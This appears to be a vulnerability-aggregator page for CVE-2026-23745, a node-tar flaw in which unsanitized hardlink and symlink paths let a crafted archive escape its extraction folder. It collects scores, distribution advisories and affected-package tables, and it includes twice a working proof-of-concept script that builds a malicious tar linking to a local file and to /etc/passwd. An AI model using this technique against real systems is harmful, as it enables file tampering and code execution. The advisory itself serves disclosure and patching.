CVE-2026-23745
node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
CVE-2026-23745- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-22, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-2909
8.2
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
EUVD-2026-2909- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6chw-6frg-f759
7.5
Regular Expression Denial of Service in Acorn
Affected versions of acorn are vulnerable to Regular Expression Denial of Service. A regex in the form of /[x-\ud800]/u causes the parser to enter an infinite loop. The string is not valid UTF16 which usually results in it being sanitized before reaching the parser. If an application processes untrusted input and passes it directly to acorn, attackers may leverage the vulnerability leading to Denial of Service.
- Record
GHSA-6chw-6frg-f759- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8qq5-rm4j-mr97
8.2
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters…
- Record
GHSA-8qq5-rm4j-mr97- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.2
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
CVE-2026-23745- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.2
node-tar Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
CVE-2026-23745- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
Show 24 moreShow less
OSVDEBIAN-CVE-2026-23745
6.1
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
DEBIAN-CVE-2026-23745- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
OSVGHSA-6chw-6frg-f759
7.5
Regular Expression Denial of Service in Acorn
Affected versions of acorn are vulnerable to Regular Expression Denial of Service. A regex in the form of /[x-\ud800]/u causes the parser to enter an infinite loop. The string is not valid UTF16 which usually results in it being sanitized before reaching the parser. If an application processes untrusted input and passes it directly to acorn, attackers may leverage the vulnerability leading to Denial of Service.
- Record
GHSA-6chw-6frg-f759- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-8qq5-rm4j-mr97
8.2
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters…
- Record
GHSA-8qq5-rm4j-mr97- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVRHSA-2026:18480
8.8
Red Hat Security Advisory: linux-sgx security update
- Record
RHSA-2026:18480- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRHSA-2026:18868
8.8
Red Hat Security Advisory: linux-sgx security update
- Record
RHSA-2026:18868- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRLSA-2026:18480
8.8
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
-
qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
-
node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
-
node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
-
lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
-
node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.
- Record
RLSA-2026:18480- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRLSA-2026:18868
8.8
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
-
qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
-
node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
-
node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
-
lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
-
node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.
- Record
RLSA-2026:18868- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-23745
6.1
CVE-2026-23745 in tar - Patched by Root
Root has patched CVE-2026-23745 in the tar package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-23745- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-23745
8.2
node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.
- Record
UBUNTU-CVE-2026-23745- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
OSVALSA-2026:18480 No score
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
- qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
- node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
- node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
- lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
- node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.
- Record
ALSA-2026:18480- Updated
- 2026-11-02
OSVALSA-2026:18868 No score
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
- qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
- node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
- node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
- lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
- node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.
- Record
ALSA-2026:18868- Updated
- 2026-11-02
OSVCLSA-2026-1773188129 No score
TuxCare security update for tar (7 CVEs)
TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.
- Record
CLSA-2026-1773188129- Updated
- 2026-11-02
OSVCLSA-2026-1773533794 No score
TuxCare security update for tar (6 CVEs)
TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.
- Record
CLSA-2026-1773533794- Updated
- 2026-11-02
OSVCLSA-2026-1773706632 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.
- Record
CLSA-2026-1773706632- Updated
- 2026-11-02
OSVCLSA-2026-1774830255 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.
- Record
CLSA-2026-1774830255- Updated
- 2026-11-02
OSVCLSA-2026-1780620684 No score
TuxCare security update for acorn (1 CVE)
TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.0.4-tuxcare.1.
- Record
CLSA-2026-1780620684- Updated
- 2026-11-02
OSVCLSA-2026-1780620685 No score
TuxCare security update for acorn (1 CVE)
TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.2.0-tuxcare.1.
- Record
CLSA-2026-1780620685- Updated
- 2026-11-02
OSVCLSA-2026-1784509814 No score
TuxCare security update for tar (2 CVEs)
TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.2.0-tuxcare.1.
- Record
CLSA-2026-1784509814- Updated
- 2026-11-02
OSVCLSA-2026-1787823889 No score
TuxCare security update for tar (6 CVEs)
TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.0-tuxcare.1.
- Record
CLSA-2026-1787823889- Updated
- 2026-11-02
OSVCLSA-2026-1787823934 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.
- Record
CLSA-2026-1787823934- Updated
- 2026-11-02
OSVCLSA-2026-1792074305 No score
TuxCare security update for tar (12 CVEs)
TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.
- Record
CLSA-2026-1792074305- Updated
- 2026-11-02
OSVCLSA-2026-1792164662 No score
TuxCare security update for tar (8 CVEs)
TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.
- Record
CLSA-2026-1792164662- Updated
- 2026-11-02
OSVCLSA-2026-1792369404 No score
TuxCare security update for tar (9 CVEs)
TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.
- Record
CLSA-2026-1792369404- Updated
- 2026-11-02
OSVCLSA-2026-1793307830 No score
TuxCare security update for tar (11 CVEs)
TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.
- Record
CLSA-2026-1793307830- Updated
- 2026-11-02
Affected products
- isaacs node-tar
- isaacs tar
- red hat confidential compute attestation
- red hat cryostat 4
- red hat logging subsystem for red hat openshift
- red hat multicluster engine for kubernetes
- red hat network observability (netobserv) 1.11.0
- red hat node healthcheck operator
- red hat openshift lightspeed
- red hat openshift pipelines
- red hat openshift serverless
- red hat 3scale api management platform 2
Show 31 moreShow less
- red hat advanced cluster management for kubernetes 2
- red hat amq broker 7
- red hat ansible automation platform 2
- red hat build of apache camel - hawtio 4
- red hat connectivity link 1
- red hat developer hub
- red hat enterprise linux 10
- red hat enterprise linux 6
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux ai (rhel ai) 3
- red hat fuse 7
- red hat hardened images
- red hat jboss enterprise application platform 7
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat migration toolkit 1.8
- red hat openshift ai (rhoai)
- red hat openshift ai 2.25
- red hat openshift ai 3.3
- red hat openshift container platform 4
- red hat openshift data foundation 4
- red hat openshift dev spaces 3.27
- red hat openshift gitops
- red hat process automation 7
- red hat quay 3
- red hat satellite 6
- red hat single sign-on 7
- red hat trusted artifact signer 1.2
- red hat trusted artifact signer 1.3
Affected packages
| Package | Affected | Fixed |
|---|---|---|
acornnpm |
6.0.0 up to 6.4.1 | 6.4.1 |
acornnpm |
7.0.0 up to 7.1.1 | 7.1.1 |
acornnpm |
5.5.0 up to 5.7.4 | 5.7.4 |
tarnpm |
through 7.5.2 | 7.5.3 |
sgx-commonAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-libsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-mpaAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pccsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pccs-adminAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pckid-toolAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
Show 69 moreShow less
| Package | Affected | Fixed |
|---|---|---|
tdx-qgsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-commonAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-libsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-mpaAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pccsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pccs-adminAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pckid-toolAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
tdx-qgsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
tarTuxCare:npm From an advisory covering 7 CVEs |
2.2.2-tuxcare.0 up to 2.2.2-tuxcare.1, plus listed versions 2.2.2 |
2.2.2-tuxcare.1 |
tarTuxCare:npm From an advisory covering 6 CVEs |
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions 6.2.1 |
6.2.1-tuxcare.1 |
tarTuxCare:npm From an advisory covering 4 CVEs |
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.2, plus listed versions 1.0.31.0.3-tuxcare.1 |
1.0.3-tuxcare.2 |
tarTuxCare:npm From an advisory covering 4 CVEs |
2.1.1-tuxcare.0 up to 2.1.1-tuxcare.2, plus listed versions 2.1.12.1.1-tuxcare.1 |
2.1.1-tuxcare.2 |
acornTuxCare:npm |
6.0.4-tuxcare.0 up to 6.0.4-tuxcare.1, plus listed versions 6.0.4 |
6.0.4-tuxcare.1 |
acornTuxCare:npm |
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.1, plus listed versions 6.2.0 |
6.2.0-tuxcare.1 |
tarTuxCare:npm From an advisory covering 2 CVEs |
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.1, plus listed versions 6.2.0 |
6.2.0-tuxcare.1 |
tarTuxCare:npm From an advisory covering 11 CVEs |
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.6, plus listed versions 6.0.26.0.2-tuxcare.16.0.2-tuxcare.26.0.2-tuxcare.36.0.2-tuxcare.46.0.2-tuxcare.5 |
6.0.2-tuxcare.6 |
tarTuxCare:npm From an advisory covering 8 CVEs |
6.1.6-tuxcare.0 up to 6.1.6-tuxcare.1, plus listed versions 6.1.6 |
6.1.6-tuxcare.1 |
tarTuxCare:npm From an advisory covering 9 CVEs |
6.1.0-tuxcare.0 up to 6.1.0-tuxcare.2, plus listed versions 6.1.06.1.0-tuxcare.1 |
6.1.0-tuxcare.2 |
tarTuxCare:npm From an advisory covering 10 CVEs |
4.4.19-tuxcare.0 up to 4.4.19-tuxcare.5, plus listed versions 4.4.194.4.19-tuxcare.14.4.19-tuxcare.24.4.19-tuxcare.34.4.19-tuxcare.4 |
4.4.19-tuxcare.5 |
node-tarDebian:12 |
before 6.1.13+~cs7.0.5-1+deb12u1, plus listed versions 6.1.13+~cs7.0.5-1 |
6.1.13+~cs7.0.5-1+deb12u1 |
node-tarDebian:13 |
before 6.2.1+~cs7.0.8-1+deb13u1, plus listed versions 6.2.1+~cs7.0.8-1 |
6.2.1+~cs7.0.8-1+deb13u1 |
node-tarDebian:14 |
before 6.2.1+ds1+~cs6.1.13-6, plus listed versions 6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+~cs7.0.8-1 |
6.2.1+ds1+~cs6.1.13-6 |
tarnpm |
before 7.5.3 | 7.5.3 |
linux-sgxRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgx-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgx-debugsourceRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-commonRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-enclave-devel-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-libsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-libs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-mpaRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-mpa-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccs-adminRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pckid-toolRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pckid-tool-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-attest-libs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-qgsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-qgs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgxRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgx-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgx-debugsourceRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
